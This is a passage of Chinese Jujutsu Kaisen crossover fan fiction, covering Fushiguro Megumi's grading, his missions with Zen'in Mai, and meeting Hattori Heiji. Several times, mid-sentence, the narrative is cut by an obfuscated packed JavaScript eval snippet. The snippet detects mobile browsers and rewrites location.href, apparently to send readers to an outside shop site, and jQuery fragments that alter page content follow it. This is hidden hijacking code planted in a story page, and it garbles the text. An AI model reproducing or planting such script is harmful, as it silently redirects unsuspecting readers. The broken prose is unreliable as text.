伏黑惠惊讶地问:“为什么?” “因为他是‘六眼无下限’。”禅院直毘人看着伏黑惠脸上嫌恶的表情,“呵呵”笑了两声,“要是你从小在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078526|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禅院家长大,应该也差不多。” 伏黑惠顿时更厌恶咒术界了。 “咒术评级。” “已经可以了吗?” “你一直待在这里跟我训练是不会有太大进步的。”禅院直毘人欣赏地看着伏黑惠,口中的话却毫不留情,“你知道我不会杀了你,因此体会不到拼命的感觉。等几次被咒灵逼到极限,你的咒术自然而然就会提高了。” 禅院直毘人对伏黑惠寄予厚望。 伏黑惠想了想,怪不得有时候会听到五条先生说他把自己的任务给了学生,原来是因为这个。 咒术师一级以下的评级都很简单,只要咒术师在权威人士的见证下袚除相应等级的咒灵就行了。 当然,为了保证同等级咒术师一定能袚除同等级咒灵,被考核的咒术师面对的会是同等级咒灵中实力最高的那一档。咒术师袚除咒灵时的表现也是咒术评级的一大重要参考依据。 家系咒术师考核袚除的咒灵一般会由家里提供,如果家里没有合适的咒灵也可以等待‘窗’的消息。 禅院家里正好有二级咒灵的存货,只要拿出来让伏黑惠袚除了就行了。 ——一级咒灵很难豢养,所以等级评定会更麻烦一些。 有禅院家在身后,伏黑惠很快就通过了咒术评级,拿到了属于他的证件。 ——二级咒术师,禅院惠。 伏黑惠看着证件照片旁边的名字,皱了皱眉。 旁边的人看着他的表情,问:“怎么了,还不习惯?” 伏黑惠的嘴唇动了动,没说什么。 他现在在以禅院家族继承人的身份活动,也只能默认这个事实。 没关系,等五条先生被救出来,这个不顺眼的姓氏就能改回来了。 想到这里,伏黑惠的心情好了一点。把证件收好后,他看向旁边样貌和禅院真希一模一样的少女,禅院真依。 这次咒术评级的考核场地是京都校,所以禅院真依就成了伏黑惠的导游。 伏黑惠礼貌道谢:“今天麻烦你了,真依前辈。” 13. 第 13 章 禅院真依打量着伏黑惠,奇怪的眼神让伏黑惠十分不适应:“真依前辈,你有什么事吗?” 禅院真依面色冷淡地说:“你和禅院家还真是格格不入。” 伏黑惠并不认为这句话是对他这个禅院少主的冒犯,反而很赞同地说:“是这样没错。” 伏黑惠不喜欢禅院家的氛围,禅院直毘人先生看起来似乎很开明,但对方固执地认为他应该成为咒术师的关怀让伏黑惠十分不适。 庭院深深带来阴郁沉闷的气氛不是突然就让人感到痛苦,而是一点一点加深的压力,如同暴雨之前的天空,阴郁沉闷的乌云密密麻麻地填充在整片天空上,看不到一点儿希望的光。 某一天晚上,伏黑惠坐在禅院家的房间里,看着远在天边的天空和四面墙壁,突然想起了自己的生父,理解了他想要从禅院家逃离的心情。 「非禅院者非术师,非术师者非人」 这是某一天禅院直哉拦下伏黑惠,嘲讽他的时候随口波及到禅院真希,说了这句话。 一句让伏黑惠无语至极的话。 他看着禅院直哉洋洋得意的脸,甚至没觉得厌恶,只是觉得这个人浅薄得可笑。 “五条先生从来不会这么说。”伏黑惠冷静地开口道,“怪不得那家伙……我父亲会离开这里。我虽然跟他不熟悉,但也能理解他这个决定。” 虽然不熟,但他承认那个男人是他的父亲,无法改变的事实不需要否认。 禅院直哉破防了:“你根本就比不上甚尔君!这个世界上只有悟和甚尔君那样的人才能相互理解!” 然后两个人就打起来了。 准确来说是禅院直哉先动手,伏黑惠接招。但一级和二级的差距明显,伏黑惠是真的打不过,只能靠影子周旋,而禅院直哉在禅院家里也不敢闹出太大动静。 所以这场闹剧就到管家先生来劝架,给禅院直哉递过台阶的时候终止了。 “抱歉,惠少爷,我来晚了。”管家在把禅院直哉劝走后对着伏黑惠深深鞠躬,“您需要治疗吗?” “不需要。”伏黑惠身上的伤没有很重,他召唤出新调伏的式神「圆鹿」治好了自己身上的伤,“麻烦您给我找一身新的衣服。” “好的,惠少爷。”管家应道。 伏黑惠点了点头:“谢谢您,送到我房间就好。” 这一场架并不是禅院直哉单方面的欺压,对于伏黑惠来说也是一场宣泄。就像是闷雷滚滚的天空,暴雨倾盆而下的时候,就算浑身上下都被打湿也有一种别样的痛快,比一直阴天要好得多。 因为下雨了就意味着距离太阳出来不远了。 伏黑惠也因此确立了新的目标。原本他的目标是变强,达到禅院先生的要求,换取他对五条先生的帮助。 现在他的目标是变强,早点离开这里。伏黑惠已经发现了咒术界的法则,只要他的实力足够,就算他不想留在禅院家,禅院先生应该也会帮他,就像是他的生父离开之后也还跟禅院先生保持着交易关系一样。 不过伏黑惠很明白,他不能在禅院家表露出这种变化。今天顺利地出来进行咒术评级似乎是一种短暂的胜利,外面的空气都是轻松的。 禅院真依讶异地看着伏黑惠,眼中的冷淡软化了些:“外面长大的孩子就是跟我们不一样。”她似乎也意识到自己的话不对劲,又色厉内荏地板起脸,“既然有了咒术评级,你接下来就别想待在家里了!” 正合我意。 伏黑惠松了口气:“有了咒术评级就可以出来袚除咒灵了吗?” “叔父不会让你去东京羊入虎口的。”禅院真依看着伏黑惠的神情,神情复杂地安慰道,“你大概只能从京都开始袚除咒灵。” “那也可以,我需要尽快强大起来。”伏黑惠其实没有寄希望于现在就可以去东京。 他很清楚禅院直毘人不会让他去,以他现在的实力去了用处也不大。 而且他已经拜托别人去了,更能够帮上忙的人——虽然有点贵,但五条先生很有钱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086380|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反正也是为了救他,花他的钱很合理。伏黑惠理直气壮地想。 伏黑惠说得很平静,禅院真依却古怪地看了他一眼:“你是刚学咒术没多久没错吧?” 伏黑惠回答:“其实五条先生以前也教过我一点。” 他不想再看到那种仿佛五条先生辜负了他的天赋的眼神了,明明是他自己不想学的。 五条先生的确教了他一点。 “就算是这样,十五岁的二级也已经够天才了。”禅院真依语气不好地说,对于她这种从小在禅院家长大单现在只有三级的人来说,伏黑惠的话就像是在炫耀一样。 “禅院先生说,五条先生入学的时候已经是一级咒术师了。”伏黑惠是真心实意在苦恼,“乙骨前辈入学的时候就是特级了。” 禅院真依惊讶地脱口而出:“你为什么要跟五条悟比?” 伏黑惠困惑地看了她一眼,理智地说:“因为禅院先生希望我变得和五条先生一样强。” 他也不想听禅院直毘人说,他没能那么强是因为小时候被五条先生耽误了。 禅院先生是不是对他小时候太执着了?伏黑惠联想到小时候的五条悟。 因为他是「十种影法术」,所以一定要成为咒术师,一定能成为最强的咒术师之一,没有人会考虑到其他的路。 那五条先生小时候呢?五条先生也会因为是‘六眼无下限’被逼迫着变强吗? 也会像是他在禅院家这样,每天的时间都被训练和阅读典籍之间,没有休息的空闲吗? 五条先生在变强之前有时间可以做自己想做的事吗? 他十五岁才不得不回到了禅院家,五条先生是几岁开始学习咒术的?又是学习了多久才达成别人期待中的标准? 禅院先生说五条先生进入东京校是自己的决定,当时禅院家和加茂家都吃了一惊。那是他决定逃离那个压抑的家族所做出的努力吗? ‘最强’对于五条先生来说,是不是一种枷锁呢? 14. 第 14 章 “叔父真是对你寄予厚望。”禅院真依唏嘘地说,“如果不是因为羂索对加茂家动手,今天也许会是加茂学长带你逛学校的。” 伏黑惠脑海中似乎捕捉到了什么,拧起了眉毛:“羂索开始对御三家动手了吗?” 禅院真依思索着说:“羂索去加茂家是因为他以前是加茂宪伦,所以这才去了加茂家。原本加茂学长是加茂家的继承人,现在他被赶走了,加茂家肯定又落到羂索手里了。” 伏黑惠神色凝重:“也就是说,加茂家彻底站到羂索那一边了,是吧?” 禅院真依点头赞同:“不同意的人都被他杀死了,加茂学长也是好不容易逃出来联系上我们的。” 伏黑惠心中一动:“那位加茂学长现在在哪里?” “加茂学长为了躲避羂索的追杀,进了京都结界。”禅院真依的语气还是那么平静无波,但伏黑惠从她脸上看出了一点担忧。 伏黑惠不解地问:“「死灭洄游」的结界不都是羂索做的吗?为什么加茂学长会为了躲避羂索进结界?” 禅院真依思索了片刻,也不得其解,只能猜测道:“可能是因为羂索在加茂家分身乏术,不会进结界了吧?” 伏黑惠的眼睛微微睁大了一点:“羂索现在在加茂家?” “已经不在了,我听说这件事之后借着五条家的名义拜访过加茂家,那个时候人就已经不见了。”乙骨忧太接到伏黑惠的电话的时候,如此回答道。 伏黑惠暗中叹了口气,他也猜测乙骨前辈他们知道这件事比自己更早,但既然知道了总得说一声。 他语气沉稳地说:“好的,我知道了。我今天已经见过真依前辈了,她在京都校里看起来还好,请真希前辈放心。” “我没有担心那家伙!”禅院真希的声音在电话另一端响起,由远及近,“惠,你已经是二级了?” “嗯,只是在学校里袚除了几只咒灵。”伏黑惠不觉得这是什么值得一说的事。 “啧,你才刚学习咒术不到半个月!”禅院真希开玩笑地抱怨道,“真是让人恨得牙痒痒!” 伏黑惠一板一眼地说:“禅院先生说我现在还刚入门,想要进步需要进行实战。” “惠,我和真希还有大家要进结界寻找能够解除五条老师封印的术师‘天使’,还要想办法结束结界。结界会影响通讯,无法及时联络。”乙骨忧太有点踌躇地说,“如果你有事可以联系家入老师。家入老师能联系到留在薨星宫保护天元大人的九十九由基小姐,也能联系到京都校的庵歌姬老师。” 他原本还担心他们这些跟五条老师亲近的人都进了结界,伏黑惠一个人待在禅院家会不会出事,现在知道对方已经有二级的实力,也算是松了口气。 伏黑惠眼睛一亮,记下了乙骨忧太提出的人名后,追问道:“乙骨前辈,你们找到「狱门疆」了吗?” 乙骨忧太说:“天元大人提供了能够解除封印的咒具「狱门疆·里」,但是需要‘天使’的术式配合才能解除五条老师的封印。” 太好了! 伏黑惠喜上眉梢:“谢谢乙骨前辈和大家的帮忙!” 这是他从涉谷事变以来听到的唯一一个好消息。 “不用谢,我们也是五条老师的学生啊!”乙骨忧太爽朗地说,“对了,冥小姐不会进入结界,你有事还可以联系她。” 说到这里,乙骨忧太停顿了一下,担心地问:“你的钱还够用吗?” “够用,乙骨前辈不用担心我。”伏黑惠在雇佣冥冥之前就计算过,他手里的钱足够同时雇佣他父亲和冥小姐的,等明年再烦恼钱不够也来得及。 “那就好。”乙骨忧太也不知道除了冥冥之外,伏黑惠还雇佣了另一个人,听他这么说就放心了,“那惠你好好保重。” “嗯,谢谢乙骨前辈关心。”伏黑惠又跟乙骨忧太寒暄了两句,挂掉了电话。 伏黑惠坐在榻榻米上,看着窗外的天空。点点星辰在漆黑的夜幕之上闪闪发亮,如同他拨云见日的心情。 两只「玉犬」又被召唤出来分享主人的快乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098381|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。伏黑惠抱着两只狗狗,把脸埋进狗狗的背毛里:“太好了,已经有办法救五条先生了!” 两只狗狗很配合地蹭着主人,表达自己的愉快。伏黑惠抬起头,一边撸狗一边看着月亮,自言自语:“要不要也告诉津美纪……不,还是等有更具体的消息,现在还不确定什么时候能找到那位‘天使’,不要让津美纪白白高兴了。” 伏黑惠拿出手机,不自觉地抚摸着手机屏幕,找出了津美纪的联系方式。 犹豫了半晌之后,伏黑惠重新把手机屏幕按灭,将手机收回影子里。 他轻轻梳理着「玉犬」的毛发,望着天边的明月。五条先生被封印的事有了进展让他的心情都明亮起来,再加上从明天开始就不用待在禅院家的事实让伏黑惠的心情更加舒畅。 虽然冥小姐那边还没有羂索的下落,但现在也不需要那么急迫了。 伏黑惠摸了摸两只狗狗的脑袋,眉眼弯弯,难得在禅院家露出笑颜:“好了,早点休息吧,明天还要出门去袚除咒灵。” 两只狗狗摇了摇尾巴,走进了伏黑惠的影子里。 另一片月光之下,津美纪也拿着手机,坐在窗边看着窗外的月亮。 毛利兰看着津美纪的神情,了然地说:“津美纪,还在担心你弟弟吗?” 津美纪忧心忡忡地说:“嗯,虽然惠说他过得很好,但他一直都是很懂事的、报喜不报忧的孩子。” “那个禅院家是很不好的地方吗?”毛利兰关心地看着伏黑津美纪。她觉得津美纪这几天的担忧不像是伏黑惠回到了自己家,反而像是弟弟羊入虎口了。 “……我不知道。”伏黑津美纪落寞地摇了摇头,又急急补充道,“但是惠被他们带走的时候很抗拒!” 毛利兰想了想,提议道:“要不然明天我们问问园子和新一吧,说不定他们听说过这个禅院家呢!” 伏黑津美纪有点迟疑会不会在这个忙碌的时节给两人添麻烦,但是想到被强行带走的弟弟,她坚定下来:“那就麻烦园子和工藤君了。” 15. 第 15 章 晴朗的天空蓝得近乎透明,耀眼的日光明晃晃地洒下来。树上的树叶已经由绿转红,如同布满大地的血色。 京都的热闹不复以往。虽然官方说法是只有东京会出现咒灵,但「死灭洄游」遍布全国的结界让这层遮羞布摇摇欲坠,全国范围内的咒灵都有所增加。 咒术师们疲于奔命,有的加入了「死灭洄游」,有的在结界外面袚除咒灵,还有的因为帮助五条悟被打进了诅咒师行列。 禅院真依坐在树下的休息长椅上,看着旁边的伏黑惠。 他们刚刚袚除完一只二级咒灵。在这个时刻,咒术师的新血非常重要,再加上伏黑惠是禅院家的少主,他们的任务并不危险。 所以禅院真依不明白伏黑惠在任务后就坐在这里一声不吭是在想什么。 她看着伏黑惠仰头看着天空的样子,也学着往上看了看,天上连只飞过的鸟都没有。 禅院真依忍不住问:“惠君,你在看什么?” 两个人都姓禅院,但伏黑惠很不想用这个姓氏,再加上伏黑惠一开始就因为禅院真希直接称呼了禅院真依的名字,因此两人直接就互称名字。 有了禅院直哉那个对照,禅院真依看谦逊礼貌的伏黑惠怎么看怎么顺眼,也愿意跟他多交流一下。 而且她真的很好奇:“你总往天上看,天上有什么?” 伏黑惠听到她的话,回过神来,镇定地回答:“我在思考下一个要调伏的式神。” “你已经想好了?”禅院真依讶异地问,“我记得你刚调伏「圆鹿」没几天吧!” “「圆鹿」是很乖的孩子,调伏她并没有用太多力气。”提到可爱的式神,伏黑惠唇边露出了浅浅的笑意,“我想再调伏一个能适应更多地形的式神。” 伏黑惠的目标是「鵺」。 现在他拥有「玉犬」可以进攻,「脱兔」可以群攻也可以扰乱敌人视线,「圆鹿」可以治疗伤口,接下来调伏「鵺」之后就可以增加天空的攻击和移动手段。 「鵺」之后就可以调伏「虾蟆」,增加辅助的控制手段,再之后是自带水属性攻击的「满象」,必要时可以用来强行改变地形,增加自身优势。 「大蛇」、「贯牛」和「虎葬」都是用来增加攻击手段的多样性的式神,可以暂时押后。 伏黑惠把禅院直毘人给他的有关「十种影法术」的典籍都仔细地看过一遍,将十种式神的用处进行了归纳总结,制定了调伏顺序。 只是中间意识到了「反转术式」的用处,把「圆鹿」的调伏稍微提前了些。 至于他现在的实力只能用来同归于尽的「魔虚罗」,伏黑惠认为暂时没有用武之地,直接束之高阁。这种等级的式神,他根本用不到。 ——他又不想跟五条先生同归于尽。 “你不用告诉我。”禅院真依有点别扭地说。 式神使手中有什么式神可以用,完全可以算是咒术师的机密。 除非是「术式公开」,不然咒术师不会主动跟别人说自己的术式具体有什么招式的。 伏黑惠说:“真依前辈是跟我配合的咒术师同伴,知道我有什么式神,对我们的配合有好处。” “我跟你一起只是因为三级术师不能单独出任务,而你虽然已经二级了,但自己才成为咒术师不久,没什么经验。”禅院真依对自己的定位很清晰,她就是一个辅助伏黑惠尽快适应咒术师工作的工具人而已。 对于咒术师来说,天赋可以决定一切。 禅院真依是亲眼看到伏黑惠怎么从生疏变得熟练的。正因为自己也是咒术师,才会意识到这种进步速度是多么让她这种没有天赋的人绝望。 直毘人叔父也问过她,惠君袚除咒灵的进展。禅院真依都照实说了。 比起禅院直哉,她更愿意继承禅院家的是伏黑惠。 “多亏了真依前辈,我才能这么快适应。”伏黑惠认真地说,“真依前辈帮了我很多。” 希望一定要是伏黑惠!按照惠君现在的进步速度,说不定不需要多长时间就能打败禅院直哉了。 禅院真依突然觉得身上又充满了动力。她从椅子上起身,斗志昂扬地说:“走吧,我们去下一个地点。” 不要耽误时间休息了,继续练! 伏黑惠微微一愣,虽然被突然转变的话题弄得猝不及防,但也没有反对:“好的。” 他在离开之前看了一眼天空,像是在告别。 “你又在看天空了。”禅院真依随口说,“这么好看吗?” 伏黑惠说:“今天天很蓝。” 蓝得像是五条先生的眼睛。 伏黑惠也是在禅院家的时候才发现的。四四方方的围墙将人的身心一同禁锢,只有每天抬头看到的蓝色的天空象征着自由。 原本以为可以离开禅院家后,这种感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102747|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也会消失,但现在看来似乎已经成为了新的习惯。 “是吗?”禅院真依疑惑地看了看天空,说了个地狱笑话,“自从涉谷事变之后,人类减少、咒灵增加,自然环境是好多了。” 伏黑惠问:“以前袚除咒灵也是这样吗?” 他只知道五条先生一直都很忙,需要天南地北地跑 “差不多,关西以京都校为中心,关东以东京校为中心。”禅院真依说,“不过现在咒灵被曝光,行事不用掩人耳目,也稍微方便了一点。现在辅助监督也缺人,人少的地方就不用放「帐」了。” “结界术吗?”伏黑惠抬头看着远处冲天而起,仿佛连接着天空和地面的黑色柱体,“像是这样?” “这种等级的结界,只有天元大人才能比肩了。”禅院真依还肩负着给伏黑惠科普的重任,“现在京都校和禅院家、东京校……包括东京的千代田结界能够阻止咒灵的侵扰都是因为天元大人的结界保护。如果天元大人出事,那咒术界才是真的完蛋了。” 伏黑惠想起乙骨忧太提到过的保护天元大人的九十九由基小姐,怪不得要在这种时候特意派人保护天元。 伏黑惠问:“那天元大人不能解除「死灭洄游」的结界吗?” “要是能的话就不会留到现在了吧。”禅院真依远远看着京都结界的黑色柱子,真希现在就在东京结界里面,如果能解除的话…… “如果能解除的话,里面的‘泳者’都会跑出来,到时候就更忙了。”禅院真依吐槽道。 伏黑惠也收回目光,赞同了禅院真依的话。比起在结界里的人们,他更在意在结界外的津美纪的安全。 而且结界的范围有限,‘天使’在里面应该更方便找人吧。 伏黑惠不再多想,说:“真依前辈,我需要一个能够让我调伏式神的房间。” “房间?”禅院真依有点意外地说,“一定要在房间里调伏吗?其实我也会落「帐」。” 伏黑惠说:“在房间里地形对我有利。”他停顿了一下,继续说,“但还是希望您能教我结界术。” 也许以后调伏式神在结界里就够了。 “这倒是没问题,只是简单的「帐」不难学。”禅院真依想了想,“学校里有可以用的房间,但你还是回禅院家调伏最保险。” 这样万一调伏期间出了什么意外还有直毘人叔父在,她可不要承担这种责任。 16. 第 16 章 “「鵺」”伏黑惠双手比出手影。身带双翼、形似巨鹰的式神从影子中冲天而起,发出一声啸叫。 伏黑惠眼明手快,在式神冲出影子的时候跳到他背上,腾空而起。 调伏了「鵺」之后,伏黑惠发现除了袚除咒灵的时候,其他时间也可以把「鵺」召唤出来作为代步工具。 禅院直毘人听了他的设想,纠结地摸了摸胡子。其实咒术界不鼓励这么做,因为有被普通人发现的可能性。 但既然现在咒灵和咒术师已经不是秘密了,那就无所谓了。想到这里,禅院直毘人大手一挥,赞同了他的做法。 因此,禅院真依看到伏黑惠的时候,就看到一只式神落到她们面前,伏黑惠从上面跳了下来。 “惠君。”禅院真依一时没反应过来,习惯性地介绍着自己旁边的女生,“这是我的同学,西宫。” 西宫桃看着禅院家的继承人,有点紧张地打招呼:“您好,我是西宫桃,是真依的同学,也是二级咒术师。” “您好,西宫前辈,我是伏……禅院惠。”说到这个姓氏,伏黑惠的脸色难看了些。 西宫桃更紧张了,不由得看向禅院真依。 “没事,你叫他的名字就行。”禅院真依有点隐晦但不多地说,“就像真希一样。” “欸?!哦!”西宫桃也听说过禅院真希很讨厌禅院这个姓氏,但禅院惠不是禅院家的继承人吗?他为什么要讨厌禅院? 伏黑惠也不知道为什么今天队伍里突然多出一个人,疑惑地看向禅院真依。 禅院真依说:“西宫今天也要去大阪袚除咒灵,我想顺便带她一程。” 但她本以为伏黑惠会坐禅院家的车过来。禅院真依的表情有点扭曲,现在这个样子根本没办法带西宫一起,还是让她…… “好的,我明白了。”伏黑惠朝着旁边的式神抬起手,只能摸到他脸上的毛毛,“你愿意再多带一个人一起吗?” 「鵺」发出了仿佛在撒娇一般的软唧唧的叫声,脑袋矮下来蹭了蹭伏黑惠的手心。 伏黑惠看向禅院真依和西宫桃,一脸认真地说:“可以,「鵺」答应了。” 禅院真依和西宫桃看着这大鸟依人的一幕:…… 西宫桃有点尴尬地笑了笑:“要不然就不用了,我自己也可以……” 禅院真依打量着「鵺」的庞大躯体,怀疑地问:“惠君,你确定他能抗住我们三个人?” “没问题的。”伏黑惠说,“「鵺」很厉害。” “真依……”西宫桃拉了拉禅院真依,小声说,“那不然我还是自己坐车过去吧。” “别开玩笑了,我才不要自己跟他坐这个!”禅院真依也有自己的理由,“你跟我们一起,要是中途不小心掉下来,你还能挽救一下!” “……好。”西宫桃决定为了朋友的安全奉献。她看向伏黑惠:“那就麻烦你了,惠君。” 伏黑惠也觉得三个人挤在鸟背上不太好。他礼貌地问:“我可以待在「鵺」的爪子上,真依前辈和西宫前辈一起坐在鸟背上可以吗?” 禅院真依拒绝道:“我和西宫待在爪子就可以了,你还是在鸟背上坐着吧。” 伏黑惠皱起眉:“可是……” 禅院真依佯装不耐烦地说:“你不是还要指挥式神吗?坐在下面怎么指挥?式神低头看你的时候出现事故怎么办?” 伏黑惠说:“指挥式神不需要让他看我。” “别再拒绝了,就听前辈们的话。”禅院真依难得在伏黑惠面前拿出前辈的架势颐气指使。 伏黑惠无奈地点了点头:“好,那就麻烦两位前辈坐在「鵺」的爪子上了。”他又摸了摸「鵺」的头,叮嘱道,“要乖乖哦,好孩子,飞的时候要小心,爪爪要稳稳的。” ‘爪爪’? 西宫桃惊诧地看向禅院真依,她以为追求可爱是女孩子的工作? 禅院真依小幅度地摇了摇头,示意西宫桃别问了。 她早就发现伏黑惠的语言习惯有点……乖乖又怪怪的,再联想到伏黑惠其实是五条悟养大的……简直不敢想那个五条家‘最强’都做过什么! 西宫桃欲言又止,但是想想伏黑惠跟她们说话还挺正常的,那可能就是面对式神情不自禁吧。 ……虽然她不明白面对这么硕大的式神有什么可情不自禁的,又不是可爱的小动物。 伏黑惠看着西宫桃手里的扫帚,好奇地问:“这是西宫前辈的武器吗?” 西宫桃本能地抓紧扫帚柄:“嗯,这是我的咒具。” 伏黑惠露出一个‘天下咒具还真是无奇不有’的眼神,没有西宫桃习惯的轻视和鄙夷。 伏黑惠说:“西宫前辈坐在「鵺」身上不好拿的话,可以暂时把咒具放在我的影子里。” “不用啦,我自己可以拿。”西宫桃摆了摆手。要是没有扫帚,她从鸟上掉下去就飞不起来了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106938|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你们还要寒暄到什么时候?”禅院真依貌似不耐烦地说,“我们走吧,趁着天还亮。” 伏黑惠点了点头,重新跳到「鵺」的后背上,低头看两位前辈都抓住了「鵺」的爪子,才拍了拍式神的脖子,示意他可以起飞了。 两扇翅膀原地扇起一阵旋风,第一次经历这种起飞的两位咒术师在风中睁大了眼睛。 西宫桃和禅院真依两人低头看着地面距离她们越来越远,屋顶树木都变成了娃娃屋,不由得抱紧了式神的爪子。 天空的清风吹乱了两人的头发,西宫桃说:“真依,你跟惠君的关系很好啊!” 禅院真依烦恼地拢着耳边的碎发:“谁说的?” “我看出来的。”西宫桃为朋友感到开心,“如果他能顺利继承禅院家就好了!” “……嗯。”禅院真依干脆伸手捂住了耳鬓,免得碎发在风中打得脸疼。 式神的速度很快,从京都到大阪的直线距离也不远,他们很快就到达了大阪的空域。 西宫桃和禅院真依也没有一开始那么兴奋了。西宫桃吸了吸鼻子:“早知道就多穿一件外套了。” 禅院真依的手也从捂着头发变成了搂着自己:“应该快要到了。” “接下来我们就不同路了,我还是自己飞吧,只是慢一点而已。”西宫桃已经发现了用式神飞行并不危险,她哀怨地看了禅院真依一眼,跟伏黑惠打了个招呼,自己骑着扫帚走了。 禅院真依有点心虚地整理了一下在风中吹乱的头发。 伏黑惠也在看到禅院真依和西宫桃被吹红的鼻尖后发现了自己的疏忽,抱歉地说:“我的影子里有外套,真依前辈需要吗?洗完之后我还没有穿过。” “不用了。”禅院真依清了清嗓子,“反正已经快到了。”她停顿了一下,还是忍不住问,“你自己不冷吗?” 伏黑惠摇了摇头,有点懊恼地说:“要是我能像五条先生那样弄一个罩子出来,在空中飞的时候就不会冷了。” 禅院真依迟疑地问:“你是说「无下限」?” “嗯。”伏黑惠的头发尖尖都有点沮丧地垂下来,“五条先生带我飞的时候就从来都不冷。” 禅院真依想了想五条悟的「无下限」怎么才能在空中移动的时候对另一个人起作用,然后封闭了自己的想象力。 她一点儿都不想知道五条悟养小孩的癖好。 一、点、儿、都、不、想! 17. 第 17 章 禅院真依叹了口气,然后用手把嘴里的头发丝捡出来:呸呸呸! 伏黑惠朝着禅院真依伸出手:“要不然真依前辈还是上来吧,上面有「鵺」的毛毛挡着,风会小一点。” 禅院真依点了点头,坐到了伏黑惠旁边。「鵺」再次起飞的时候,身边的风的确小了些,禅院真依冷着的脸色也好了不少。 伏黑惠看着下方的建筑:“真依前辈认识我们的目的地吗?” 禅院真依诧异地问:“你不认识吗?” 伏黑惠有点苦恼地说:“我是跟着地图走的,进了市区之后标志物有点不太明显了。” “没关系,实在找不到我们就下去走路。”禅院真依整理着自己的发型,低头往下看了看,都是差不多的屋顶,看着的确不好分辨。 突然,远处的某栋房子突然冒出一股咒力波动,伏黑惠和禅院真依猛地转头望去。 伏黑惠说:“那是我们的目标地点吗?” 禅院真依骂道:“该死,有人在!” 「鵺」遵循着主人的心意朝着房子的方向飞去。他们马上就要到的时候,一个人护着另一个从房子二楼破窗而出。 同时,一只咒灵跟在他们身后发动了攻击。 “「鵺」!”伏黑惠脸色一变,伸手护在禅院真依背后,黑色的影子盘旋而上,随着伏黑惠的动作形成一面护盾般的薄膜。 「鵺」的双翅震动着,耀眼的闪电包裹了式神,“咔嚓”一下劈向空中的咒灵。 咒灵发出一声嚎叫,在闪电中被袚除。 被救下的人抬起头,露出一张极其适合在黑夜中隐蔽的脸。 关西的热血男儿很有礼貌地大喊道:“多谢,我是服部平次!你们是来袚除咒灵的咒术师吗?” 伏黑惠:…… 禅院真依:…… 两人对视一眼,其实他们都不太会应付这种很热情的类型。 但还是得下去。 式神扇动着翅膀降落,伏黑惠自己跳到地面上,看禅院真依也稳稳地落到地面上才收起了式神。 “哦!!!”被他们救下的少年目瞪口呆地看着他们,“虽然我看不到那些东西,但是从天而降也太帅了吧!” 要是我能这么跟和叶告白,她肯定会被帅到答应我…… “你看不到?”伏黑惠闻言惊讶地看过来。他还以为对方也是咒术师呢! 禅院真依比伏黑惠对这种找死的人更有经验,没好气地说:“什么都看不到就敢往里闯,找死吗?!” “没办法啊,这家伙把我绑过来的。”服部平次指了指地上的男人,一脸无辜地说。 禅院真依和伏黑惠看向地面上已经晕过去的男人,他们还以为这两个人是一起的。 “把你绑过来?”禅院真依奇怪地问,“你刚才不是还在保护他吗?” “是啊,他是通缉犯,被我发现之后就把我绑过来了。”服部平次无语地露出一双半月眼,“结果刚见到那个咒灵,他就吓晕过去了,还得我带着他跑。” 伏黑惠和禅院真依听完他的话也无语了。禅院真依吐槽道:“你还挺好心的。” “不过真奇怪……”服部平次捏着下巴,“明明能看到追我们的那只咒灵啊,为什么看不到你们刚刚用的招式?” 